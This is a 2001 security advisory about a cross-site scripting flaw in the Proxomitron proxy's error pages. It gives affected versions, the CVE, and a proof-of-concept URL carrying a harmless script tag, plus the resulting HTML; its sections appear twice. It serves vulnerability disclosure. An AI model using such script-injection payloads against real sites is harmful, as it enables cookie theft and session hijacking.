Proxomitron Cross-Site Scripting Vulnerability
BID:3087
Info
Proxomitron Cross-Site Scripting Vulnerability
| Bugtraq ID: | 3087 |
| Class: | Input Validation Error |
| CVE: |
CVE-2001-0991 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 24 2001 12:00AM |
| Updated: | Jul 11 2009 06:56AM |
| Credit: | This vulnerability was discovered by "TAKAGI, Hiromitsu" <[email protected]> and submitted to BugTraq on July 24th, 2001. |
| Vulnerable: |
Scott R. Lemmon Proxomitron Naoko-4 beta4 Scott R. Lemmon Proxomitron Naoko-4 beta3 Scott R. Lemmon Proxomitron Naoko-4 beta2 Scott R. Lemmon Proxomitron Naoko-4 beta1 |
| Not Vulnerable: |
Scott R. Lemmon Proxomitron Naoko-4 beta5 |
Discussion
Proxomitron Cross-Site Scripting Vulnerability
Proxomitron is a free web proxy server.
Proxomitron is vulnerable to a cross site scripting attack.
The condition is present because of the way URLS are displayed in error messages. It is possible for script code to be embedded in the error page through a maliciously constructed link. When the error is displayed, the script will be executed within the context of the proxy server's error page on the client browser. This may permit various web-based attacks including stealing cookies, etc.
Proxomitron is a free web proxy server.
Proxomitron is vulnerable to a cross site scripting attack.
The condition is present because of the way URLS are displayed in error messages. It is possible for script code to be embedded in the error page through a maliciously constructed link. When the error is displayed, the script will be executed within the context of the proxy server's error page on the client browser. This may permit various web-based attacks including stealing cookies, etc.
Exploit / POC
Proxomitron Cross-Site Scripting Vulnerability
"TAKAGI, Hiromitsu" <[email protected]> submitted this example:
Accessing the following URL with the browser configured to use Proxomitron as a proxy,
http://www.example.com:9999/<SCRIPT>document.write(document.domain)</SCRIPT>
it will cause Proxomitron to produce output like this:
========================================================
<html><head><title>The Proxomitron Reveals...</title>
...
The Proxomitron couldn't connect to...<br>
font color=#ffff00 size=+1 > www.example.com:9999/<SCRIPT>document.write(document.domain)</SCRIPT>
</font><br>
The site may be busy or the web server may be down.
...
========================================================
and this will be shown as the following:
========================================================
Error connecting to site
The Proxomitron couldn't connect to...
www.example.com:9999/www.example.com
The site may be busy or the web server may be down.
========================================================
The noteworthy point is that the JavaScript code will be executed on an arbitrary specified domain.
"TAKAGI, Hiromitsu" <[email protected]> submitted this example:
Accessing the following URL with the browser configured to use Proxomitron as a proxy,
http://www.example.com:9999/<SCRIPT>document.write(document.domain)</SCRIPT>
it will cause Proxomitron to produce output like this:
========================================================
<html><head><title>The Proxomitron Reveals...</title>
...
The Proxomitron couldn't connect to...<br>
font color=#ffff00 size=+1 > www.example.com:9999/<SCRIPT>document.write(document.domain)</SCRIPT>
</font><br>
The site may be busy or the web server may be down.
...
========================================================
and this will be shown as the following:
========================================================
Error connecting to site
The Proxomitron couldn't connect to...
www.example.com:9999/www.example.com
The site may be busy or the web server may be down.
========================================================
The noteworthy point is that the JavaScript code will be executed on an arbitrary specified domain.